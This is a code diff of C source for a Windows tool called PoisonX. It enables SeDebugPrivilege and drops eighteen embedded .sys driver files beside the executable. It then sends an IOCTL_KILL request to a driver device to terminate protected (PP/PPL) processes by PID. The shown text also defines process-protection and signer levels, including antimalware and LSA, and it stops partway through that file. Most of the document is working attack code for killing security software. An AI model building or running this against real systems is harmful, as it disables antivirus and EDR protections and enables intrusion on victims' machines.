tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
|
||||
{
|
||||
LogError(L"EnableDebugPrivilege: AdjustTokenPrivileges", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// AdjustTokenPrivileges returns TRUE even when not all privileges
|
||||
// were assigned — ERROR_NOT_ALL_ASSIGNED indicates actual failure
|
||||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||||
{
|
||||
LogErrorMsg(L"EnableDebugPrivilege: SeDebugPrivilege could not be assigned "
|
||||
L"— insufficient account rights");
|
||||
CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogVerbose(L"EnableDebugPrivilege: SeDebugPrivilege enabled successfully");
|
||||
CloseHandle(hToken);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// Returns TRUE if the current process token has the Administrators group enabled
|
||||
BOOL IsRunningAsAdmin(void);
|
||||
|
||||
// Attempts to enable SeDebugPrivilege on the current process token
|
||||
// Returns TRUE if the privilege was successfully enabled
|
||||
BOOL EnableDebugPrivilege(void);
|
||||
@@ -0,0 +1,106 @@
|
||||
#include "banner.h"
|
||||
#include <windows.h>
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: set console foreground color (preserves background)
|
||||
// ---------------------------------------------------------------
|
||||
static void SetColor(HANDLE hOut, WORD color)
|
||||
{
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi = { 0 };
|
||||
GetConsoleScreenBufferInfo(hOut, &csbi);
|
||||
WORD bg = csbi.wAttributes & 0x00F0; // Keep background bits
|
||||
SetConsoleTextAttribute(hOut, bg | color);
|
||||
}
|
||||
|
||||
static void ResetColor(HANDLE hOut)
|
||||
{
|
||||
SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: write a wide string to the console
|
||||
// ---------------------------------------------------------------
|
||||
static void ConWrite(HANDLE hOut, const WCHAR* text)
|
||||
{
|
||||
DWORD written = 0;
|
||||
WriteConsoleW(hOut, text, (DWORD)lstrlenW(text), &written, NULL);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
void PrintBanner(void)
|
||||
{
|
||||
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
|
||||
// Dark red = FOREGROUND_RED
|
||||
// Bright red = FOREGROUND_RED | FOREGROUND_INTENSITY
|
||||
// White = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY
|
||||
// Gray = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE
|
||||
// Dark gray = FOREGROUND_INTENSITY (dark)
|
||||
|
||||
// ---- Line 1: separator ----
|
||||
SetColor(hOut, FOREGROUND_RED);
|
||||
ConWrite(hOut, L"\r\n");
|
||||
ConWrite(hOut, L" ================================================================"
|
||||
L"==============\r\n");
|
||||
|
||||
// ---- Line 2: tool name ----
|
||||
ConWrite(hOut, L" ");
|
||||
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"Poison");
|
||||
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"X");
|
||||
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
ConWrite(hOut, L" - ");
|
||||
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"PP/PPL");
|
||||
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
ConWrite(hOut, L" Process Termination via ");
|
||||
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"GUID Device Driver");
|
||||
|
||||
ConWrite(hOut, L"\r\n");
|
||||
|
||||
// ---- Line 3: separator ----
|
||||
SetColor(hOut, FOREGROUND_RED);
|
||||
ConWrite(hOut, L" ================================================================"
|
||||
L"==============\r\n");
|
||||
|
||||
// ---- Line 4: author ----
|
||||
ConWrite(hOut, L" ");
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
ConWrite(hOut, L"Coded by ");
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"Eleven Red Pandas");
|
||||
ConWrite(hOut, L"\r\n");
|
||||
|
||||
// ---- Line 5: github ----
|
||||
ConWrite(hOut, L" ");
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
ConWrite(hOut, L"GitHub : ");
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"https://github.com/oxfemale");
|
||||
ConWrite(hOut, L"\r\n");
|
||||
|
||||
// ---- Line 6: twitter ----
|
||||
ConWrite(hOut, L" ");
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
ConWrite(hOut, L"X : ");
|
||||
SetColor(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
ConWrite(hOut, L"https://x.com/bytecodevm");
|
||||
ConWrite(hOut, L"\r\n");
|
||||
|
||||
// ---- Line 7: closing separator ----
|
||||
SetColor(hOut, FOREGROUND_RED);
|
||||
ConWrite(hOut, L" ================================================================"
|
||||
L"==============\r\n");
|
||||
|
||||
ConWrite(hOut, L"\r\n");
|
||||
|
||||
ResetColor(hOut);
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
#pragma once
|
||||
|
||||
// Prints the colored ASCII banner to stdout
|
||||
void PrintBanner(void);
|
||||
@@ -0,0 +1,225 @@
|
||||
#include "extract.h"
|
||||
#include "resource.h"
|
||||
#include "log.h"
|
||||
|
||||
const int g_ids[] = {
|
||||
IDR_INFO1,
|
||||
IDR_INFO2,
|
||||
IDR_INFO3,
|
||||
IDR_INFO4,
|
||||
IDR_INFO5,
|
||||
IDR_INFO6,
|
||||
IDR_INFO7,
|
||||
IDR_INFO8,
|
||||
IDR_INFO9,
|
||||
IDR_INFO10,
|
||||
IDR_INFO11,
|
||||
IDR_INFO12,
|
||||
IDR_INFO13,
|
||||
IDR_INFO14,
|
||||
IDR_INFO15,
|
||||
IDR_INFO16,
|
||||
IDR_INFO17,
|
||||
IDR_INFO18
|
||||
};
|
||||
|
||||
const WCHAR* const g_names[] = {
|
||||
L"PoisonX1.sys",
|
||||
L"PoisonX2.sys",
|
||||
L"PoisonX3.sys",
|
||||
L"PoisonX4.sys",
|
||||
L"PoisonX5.sys",
|
||||
L"PoisonX6.sys",
|
||||
L"PoisonX7.sys",
|
||||
L"PoisonX8.sys",
|
||||
L"PoisonX9.sys",
|
||||
L"PoisonX10.sys",
|
||||
L"PoisonX11.sys",
|
||||
L"PoisonX12.sys",
|
||||
L"PoisonX13.sys",
|
||||
L"PoisonX14.sys",
|
||||
L"PoisonX15.sys",
|
||||
L"PoisonX16.sys",
|
||||
L"PoisonX17.sys",
|
||||
L"PoisonX18.sys"
|
||||
|
||||
};
|
||||
|
||||
const WCHAR* const g_names_try[] = {
|
||||
//L"PoisonX0",
|
||||
L"PoisonX1",
|
||||
L"PoisonX2",
|
||||
L"PoisonX3",
|
||||
L"PoisonX4",
|
||||
L"PoisonX5",
|
||||
L"PoisonX6",
|
||||
L"PoisonX7",
|
||||
L"PoisonX8",
|
||||
L"PoisonX9",
|
||||
L"PoisonX10",
|
||||
L"PoisonX11",
|
||||
L"PoisonX12",
|
||||
L"PoisonX13",
|
||||
L"PoisonX14",
|
||||
L"PoisonX15",
|
||||
L"PoisonX16",
|
||||
L"PoisonX17",
|
||||
L"PoisonX18"
|
||||
|
||||
};
|
||||
|
||||
|
||||
const int g_count = sizeof(g_ids) / sizeof(g_ids[0]);
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL GetExeDir(WCHAR* outDir, DWORD bufSize)
|
||||
{
|
||||
if (!outDir || bufSize == 0)
|
||||
{
|
||||
LogErrorMsg(L"GetExeDir: invalid arguments (null buffer or zero size)");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD len = GetModuleFileNameW(NULL, outDir, bufSize);
|
||||
if (len == 0 || len >= bufSize)
|
||||
{
|
||||
LogError(L"GetModuleFileNameW", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"GetExeDir: full exe path = %s", outDir);
|
||||
|
||||
// Trim the string at the last path separator, keeping the trailing '\'
|
||||
WCHAR* lastSlash = NULL;
|
||||
for (WCHAR* p = outDir; *p; ++p)
|
||||
if (*p == L'\\' || *p == L'/')
|
||||
lastSlash = p;
|
||||
|
||||
if (!lastSlash)
|
||||
{
|
||||
LogErrorMsg(L"GetExeDir: unexpected path format — no separator found");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*(lastSlash + 1) = L'\0';
|
||||
LogVerbose(L"GetExeDir: exe directory = %s", outDir);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL ExtractResource(int resourceId, const WCHAR* fileName)
|
||||
{
|
||||
if (!fileName)
|
||||
{
|
||||
LogErrorMsg(L"ExtractResource: fileName is NULL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogVerbose(L"ExtractResource: locating resource id=%d", resourceId);
|
||||
|
||||
// --- Locate the resource inside the module ---
|
||||
HRSRC hRes = FindResourceW(
|
||||
NULL,
|
||||
MAKEINTRESOURCEW(resourceId),
|
||||
MAKEINTRESOURCEW(TEXTFILE)
|
||||
);
|
||||
if (!hRes)
|
||||
{
|
||||
LogError(L"FindResourceW: resource not found", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"ExtractResource: resource located");
|
||||
|
||||
HGLOBAL hGlobal = LoadResource(NULL, hRes);
|
||||
if (!hGlobal)
|
||||
{
|
||||
LogError(L"LoadResource: failed to load resource", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD size = SizeofResource(NULL, hRes);
|
||||
const BYTE* data = (const BYTE*)LockResource(hGlobal);
|
||||
if (!data || size == 0)
|
||||
{
|
||||
LogErrorMsg(L"ExtractResource: LockResource returned empty resource (id=%d)", resourceId);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"ExtractResource: resource locked, size = %u bytes", size);
|
||||
|
||||
// --- Build the full output path: <exeDir>\<fileName> ---
|
||||
WCHAR exeDir[MAX_PATH];
|
||||
if (!GetExeDir(exeDir, MAX_PATH))
|
||||
return FALSE; // GetExeDir already logged the error
|
||||
|
||||
if (lstrlenW(exeDir) + lstrlenW(fileName) >= MAX_PATH)
|
||||
{
|
||||
LogErrorMsg(L"ExtractResource: resulting path is too long for '%s'", fileName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WCHAR outPath[MAX_PATH];
|
||||
lstrcpyW(outPath, exeDir);
|
||||
lstrcatW(outPath, fileName);
|
||||
LogVerbose(L"ExtractResource: output path = %s", outPath);
|
||||
|
||||
// --- Create the output file and write resource data ---
|
||||
HANDLE hFile = CreateFileW(
|
||||
outPath,
|
||||
GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
CREATE_ALWAYS, // Overwrites if the file already exists
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
LogError(L"CreateFileW: failed to create output file", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD written = 0;
|
||||
BOOL ok = WriteFile(hFile, data, size, &written, NULL);
|
||||
DWORD writeErr = GetLastError(); // Capture before CloseHandle resets it
|
||||
CloseHandle(hFile);
|
||||
|
||||
if (!ok || written != size)
|
||||
{
|
||||
LogError(L"WriteFile: write error", writeErr);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogInfo(L"Extracted resource id=%d -> %s (%u bytes)", resourceId, outPath, written);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL ExtractResourceList(
|
||||
const int* ids,
|
||||
const WCHAR* const* fileNames,
|
||||
int count
|
||||
)
|
||||
{
|
||||
if (!ids || !fileNames || count <= 0)
|
||||
{
|
||||
LogErrorMsg(L"ExtractResourceList: invalid arguments (null array or count <= 0)");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogInfo(L"Extracting %d resource(s)...", count);
|
||||
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
LogVerbose(L"ExtractResourceList: processing entry %d/%d (id=%d, name=%s)",
|
||||
i + 1, count, ids[i], fileNames[i]);
|
||||
|
||||
if (!ExtractResource(ids[i], fileNames[i]))
|
||||
{
|
||||
LogErrorMsg(L"ExtractResourceList: failed on entry %d (id=%d, name=%s)",
|
||||
i, ids[i], fileNames[i]);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
LogMinimal(L"All %d resource(s) extracted successfully.", count);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Resource table — add new resources here only
|
||||
// ---------------------------------------------------------------
|
||||
extern const int g_ids[];
|
||||
extern const WCHAR* const g_names[];
|
||||
extern const WCHAR* const g_names_try[];
|
||||
extern const int g_count;
|
||||
|
||||
|
||||
|
||||
// Retrieves the directory of the running .exe (with trailing '\')
|
||||
// outDir — output buffer
|
||||
// bufSize — buffer size in characters (MAX_PATH recommended)
|
||||
BOOL GetExeDir(WCHAR* outDir, DWORD bufSize);
|
||||
|
||||
// Extracts a single resource by numeric ID (type TEXTFILE) next to the .exe
|
||||
// resourceId — numeric resource ID (e.g. IDR_INFO1)
|
||||
// fileName — output file name (e.g. L"info1.txt")
|
||||
BOOL ExtractResource(int resourceId, const WCHAR* fileName);
|
||||
|
||||
// Extracts a list of resources in one call
|
||||
// ids — array of numeric resource IDs
|
||||
// fileNames — array of output file names (parallel to ids)
|
||||
// count — number of elements
|
||||
BOOL ExtractResourceList(
|
||||
const int* ids,
|
||||
const WCHAR* const* fileNames,
|
||||
int count
|
||||
);
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
#include "log.h"
|
||||
|
||||
static int g_logLevel = LOG_LEVEL_INFO;
|
||||
static HANDLE g_hStdOut = INVALID_HANDLE_VALUE;
|
||||
static HANDLE g_hStdErr = INVALID_HANDLE_VALUE;
|
||||
static HANDLE g_hLogFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: write wide string to a handle (console or redirected)
|
||||
// ---------------------------------------------------------------
|
||||
static void WriteToHandle(HANDLE hOut, const WCHAR* text, DWORD charCount)
|
||||
{
|
||||
if (hOut == INVALID_HANDLE_VALUE || !text || charCount == 0)
|
||||
return;
|
||||
|
||||
DWORD mode = 0;
|
||||
if (GetConsoleMode(hOut, &mode))
|
||||
{
|
||||
DWORD written = 0;
|
||||
WriteConsoleW(hOut, text, charCount, &written, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, text, (int)charCount,
|
||||
NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 0)
|
||||
return;
|
||||
|
||||
char* utf8 = (char*)HeapAlloc(GetProcessHeap(), 0, (SIZE_T)utf8Len);
|
||||
if (!utf8)
|
||||
return;
|
||||
|
||||
WideCharToMultiByte(CP_UTF8, 0, text, (int)charCount,
|
||||
utf8, utf8Len, NULL, NULL);
|
||||
DWORD bytesWritten = 0;
|
||||
WriteFile(hOut, utf8, (DWORD)utf8Len, &bytesWritten, NULL);
|
||||
HeapFree(GetProcessHeap(), 0, utf8);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: write line to log file (UTF-8)
|
||||
// ---------------------------------------------------------------
|
||||
static void WriteToFile(const WCHAR* text, DWORD charCount)
|
||||
{
|
||||
if (g_hLogFile == INVALID_HANDLE_VALUE || !text || charCount == 0)
|
||||
return;
|
||||
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, text, (int)charCount,
|
||||
NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 0)
|
||||
return;
|
||||
|
||||
char* utf8 = (char*)HeapAlloc(GetProcessHeap(), 0, (SIZE_T)utf8Len);
|
||||
if (!utf8)
|
||||
return;
|
||||
|
||||
WideCharToMultiByte(CP_UTF8, 0, text, (int)charCount,
|
||||
utf8, utf8Len, NULL, NULL);
|
||||
DWORD bytesWritten = 0;
|
||||
WriteFile(g_hLogFile, utf8, (DWORD)utf8Len, &bytesWritten, NULL);
|
||||
HeapFree(GetProcessHeap(), 0, utf8);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: format and emit a line to a handle + file
|
||||
// ---------------------------------------------------------------
|
||||
static void EmitLine(HANDLE hOut, const WCHAR* prefix,
|
||||
const WCHAR* fmt, va_list args)
|
||||
{
|
||||
WCHAR body[1024];
|
||||
wvsprintfW(body, fmt, args);
|
||||
|
||||
WCHAR line[1200];
|
||||
if (prefix && prefix[0] != L'\0')
|
||||
{
|
||||
lstrcpyW(line, prefix);
|
||||
lstrcatW(line, body);
|
||||
}
|
||||
else
|
||||
{
|
||||
lstrcpyW(line, body);
|
||||
}
|
||||
lstrcatW(line, L"\r\n");
|
||||
|
||||
DWORD len = (DWORD)lstrlenW(line);
|
||||
WriteToHandle(hOut, line, len);
|
||||
WriteToFile(line, len);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Public API
|
||||
// ---------------------------------------------------------------
|
||||
void LogInit(int level, const WCHAR* logFile)
|
||||
{
|
||||
g_logLevel = level;
|
||||
g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
g_hStdErr = GetStdHandle(STD_ERROR_HANDLE);
|
||||
|
||||
if (logFile && logFile[0] != L'\0')
|
||||
{
|
||||
g_hLogFile = CreateFileW(
|
||||
logFile,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
// Write UTF-8 BOM so editors open the file correctly
|
||||
if (g_hLogFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD bw = 0;
|
||||
const BYTE bom[] = { 0xEF, 0xBB, 0xBF };
|
||||
WriteFile(g_hLogFile, bom, sizeof(bom), &bw, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void LogClose(void)
|
||||
{
|
||||
if (g_hLogFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(g_hLogFile);
|
||||
g_hLogFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
|
||||
int LogGetLevel(void) { return g_logLevel; }
|
||||
|
||||
void LogMinimal(const WCHAR* fmt, ...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
EmitLine(g_hStdOut, L"", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void LogInfo(const WCHAR* fmt, ...)
|
||||
{
|
||||
if (g_logLevel < LOG_LEVEL_INFO) return;
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
EmitLine(g_hStdOut, L"[INFO] ", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void LogError(const WCHAR* context, DWORD errorCode)
|
||||
{
|
||||
if (g_logLevel < LOG_LEVEL_ERROR) return;
|
||||
|
||||
WCHAR line[512];
|
||||
wsprintfW(line, L"[ERROR] %s\r\n", context);
|
||||
DWORD len = (DWORD)lstrlenW(line);
|
||||
WriteToHandle(g_hStdErr, line, len);
|
||||
WriteToFile(line, len);
|
||||
|
||||
if (errorCode != 0)
|
||||
{
|
||||
WCHAR* sysMsg = NULL;
|
||||
FormatMessageW(
|
||||
FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM |
|
||||
FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, errorCode,
|
||||
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
|
||||
(LPWSTR)&sysMsg, 0, NULL
|
||||
);
|
||||
|
||||
WCHAR errLine[768];
|
||||
if (sysMsg)
|
||||
{
|
||||
wsprintfW(errLine, L" Code 0x%08X: %s", errorCode, sysMsg);
|
||||
LocalFree(sysMsg);
|
||||
}
|
||||
else
|
||||
{
|
||||
wsprintfW(errLine, L" Code 0x%08X: (no description)", errorCode);
|
||||
}
|
||||
|
||||
// Strip trailing whitespace added by FormatMessage
|
||||
int elen = lstrlenW(errLine);
|
||||
while (elen > 0 && (errLine[elen - 1] == L'\r' ||
|
||||
errLine[elen - 1] == L'\n' ||
|
||||
errLine[elen - 1] == L' '))
|
||||
errLine[--elen] = L'\0';
|
||||
lstrcatW(errLine, L"\r\n");
|
||||
|
||||
DWORD elen2 = (DWORD)lstrlenW(errLine);
|
||||
WriteToHandle(g_hStdErr, errLine, elen2);
|
||||
WriteToFile(errLine, elen2);
|
||||
}
|
||||
}
|
||||
|
||||
void LogErrorMsg(const WCHAR* fmt, ...)
|
||||
{
|
||||
if (g_logLevel < LOG_LEVEL_ERROR) return;
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
EmitLine(g_hStdErr, L"[ERROR] ", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void LogVerbose(const WCHAR* fmt, ...)
|
||||
{
|
||||
if (g_logLevel < LOG_LEVEL_VERBOSE) return;
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
EmitLine(g_hStdOut, L"[VERB] ", fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define LOG_LEVEL_MINIMAL 0
|
||||
#define LOG_LEVEL_INFO 1
|
||||
#define LOG_LEVEL_ERROR 2
|
||||
#define LOG_LEVEL_VERBOSE 3
|
||||
|
||||
// Call once at startup before any logging
|
||||
// logFile — optional path to a log file, NULL to disable file logging
|
||||
void LogInit(int level, const WCHAR* logFile);
|
||||
|
||||
int LogGetLevel(void);
|
||||
|
||||
void LogMinimal(const WCHAR* fmt, ...);
|
||||
void LogInfo(const WCHAR* fmt, ...);
|
||||
void LogError(const WCHAR* context, DWORD errorCode);
|
||||
void LogErrorMsg(const WCHAR* fmt, ...);
|
||||
void LogVerbose(const WCHAR* fmt, ...);
|
||||
|
||||
// Flush and close the log file (call at exit)
|
||||
void LogClose(void);
|
||||
@@ -0,0 +1,152 @@
|
||||
#include "poison.h"
|
||||
#include "log.h"
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: convert DWORD to ASCII digits (no CRT)
|
||||
// Returns number of characters written, 0 on failure
|
||||
// ---------------------------------------------------------------
|
||||
static int DwordToStrA(DWORD value, char* buf, int bufSize)
|
||||
{
|
||||
if (!buf || bufSize <= 0)
|
||||
return 0;
|
||||
|
||||
char tmp[16];
|
||||
int len = 0;
|
||||
|
||||
if (value == 0)
|
||||
{
|
||||
tmp[len++] = '0';
|
||||
}
|
||||
else
|
||||
{
|
||||
DWORD v = value;
|
||||
while (v > 0 && len < (int)sizeof(tmp))
|
||||
{
|
||||
tmp[len++] = (char)('0' + (v % 10));
|
||||
v /= 10;
|
||||
}
|
||||
}
|
||||
|
||||
if (len >= bufSize)
|
||||
return 0;
|
||||
|
||||
for (int i = 0; i < len; ++i)
|
||||
buf[i] = tmp[len - 1 - i];
|
||||
buf[len] = '\0';
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal: ASCII strlen without CRT
|
||||
// ---------------------------------------------------------------
|
||||
static DWORD StrLenA_Pure(const char* s)
|
||||
{
|
||||
DWORD n = 0;
|
||||
while (s && *s++) ++n;
|
||||
return n;
|
||||
}
|
||||
|
||||
DWORD TryOpenDriver()
|
||||
{
|
||||
HANDLE hDevice = CreateFileW(
|
||||
DEVICE_PATH,
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
CloseHandle(hDevice);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
DWORD poison(DWORD pid)
|
||||
{
|
||||
LogInfo(L"poison: opening device %s", DEVICE_PATH);
|
||||
|
||||
HANDLE hDevice = CreateFileW(
|
||||
DEVICE_PATH,
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
LogError(L"poison: CreateFileW failed to open device", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
LogVerbose(L"poison: device opened successfully");
|
||||
|
||||
// --- Convert PID to ASCII string for the IOCTL payload ---
|
||||
char pidStr[16] = { 0 };
|
||||
if (DwordToStrA(pid, pidStr, sizeof(pidStr)) == 0)
|
||||
{
|
||||
LogErrorMsg(L"poison: failed to convert PID %u to string", pid);
|
||||
CloseHandle(hDevice);
|
||||
return 1;
|
||||
}
|
||||
LogVerbose(L"poison: IOCTL payload = '%S'", pidStr);
|
||||
|
||||
// --- Send IOCTL_KILL ---
|
||||
char output[16] = { 0 };
|
||||
DWORD bytesReturned = 0;
|
||||
DWORD sendLen = StrLenA_Pure(pidStr) + 1; // Include null terminator
|
||||
|
||||
LogInfo(L"poison: sending IOCTL_KILL (0x%08X) for PID %u", IOCTL_KILL, pid);
|
||||
|
||||
if (!DeviceIoControl(
|
||||
hDevice,
|
||||
IOCTL_KILL,
|
||||
pidStr, sendLen,
|
||||
output, sizeof(output),
|
||||
&bytesReturned,
|
||||
NULL))
|
||||
{
|
||||
LogError(L"poison: DeviceIoControl (IOCTL_KILL) failed", GetLastError());
|
||||
CloseHandle(hDevice);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Convert ASCII driver response to wide for logging
|
||||
WCHAR wOutput[32] = { 0 };
|
||||
MultiByteToWideChar(CP_ACP, 0, output, (int)sizeof(output), wOutput, 32);
|
||||
LogVerbose(L"poison: driver response (%u bytes): %s", bytesReturned, wOutput);
|
||||
|
||||
CloseHandle(hDevice);
|
||||
|
||||
LogMinimal(L"poison: PID %u terminated successfully", pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL PoisonPid(int pid)
|
||||
{
|
||||
if (pid <= 0)
|
||||
{
|
||||
LogErrorMsg(L"PoisonPid: invalid PID %d", pid);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogInfo(L"Calling poison() for PID %d", pid);
|
||||
|
||||
DWORD result = poison(pid);
|
||||
|
||||
LogMinimal(L"poison(%d) returned 0x%08X", pid, result);
|
||||
return (result == 0);
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define DEVICE_PATH L"\\\\.\\{F8284233-48F4-4680-ADDD-F8284233}"
|
||||
#define IOCTL_KILL 0x22E010
|
||||
|
||||
// Sends IOCTL_KILL to the driver for the given PID
|
||||
// Returns 0 on success, 1 on failure
|
||||
DWORD poison(DWORD pid);
|
||||
|
||||
// Calls poison(pid) and logs the result
|
||||
BOOL PoisonPid(int pid);
|
||||
|
||||
DWORD TryOpenDriver();
|
||||
@@ -0,0 +1,236 @@
|
||||
#include "proclist.h"
|
||||
#include "poison.h"
|
||||
#include "log.h"
|
||||
#include <tlhelp32.h>
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// NtQueryInformationProcess dynamic import
|
||||
// ---------------------------------------------------------------
|
||||
#define PROCESS_PROTECTION_INFORMATION_CLASS 61
|
||||
|
||||
typedef struct _PS_PROTECTION
|
||||
{
|
||||
union
|
||||
{
|
||||
UCHAR Level;
|
||||
struct
|
||||
{
|
||||
UCHAR Type : 3;
|
||||
UCHAR Audit : 1;
|
||||
UCHAR Signer : 4;
|
||||
};
|
||||
};
|
||||
} PS_PROTECTION;
|
||||
|
||||
#define PS_PROTECTED_NONE 0
|
||||
#define PS_PROTECTED_LIGHT 1
|
||||
#define PS_PROTECTED_FULL 2
|
||||
|
||||
#define PS_SIGNER_NONE 0
|
||||
#define PS_SIGNER_AUTHENTICODE 1
|
||||
#define PS_SIGNER_CODE_GEN 2
|
||||
#define PS_SIGNER_ANTIMALWARE 3
|
||||
#define PS_SIGNER_LSA 4
|
||||
#define PS_SIGNER_WINDOWS 5
|
||||
#define PS_SIGNER_WIN_TCB 6
|
||||
#define PS_SIGNER_WIN_SYSTEM 7
|
||||
#define PS_SIGNER_APP 8
|
||||
|
||||
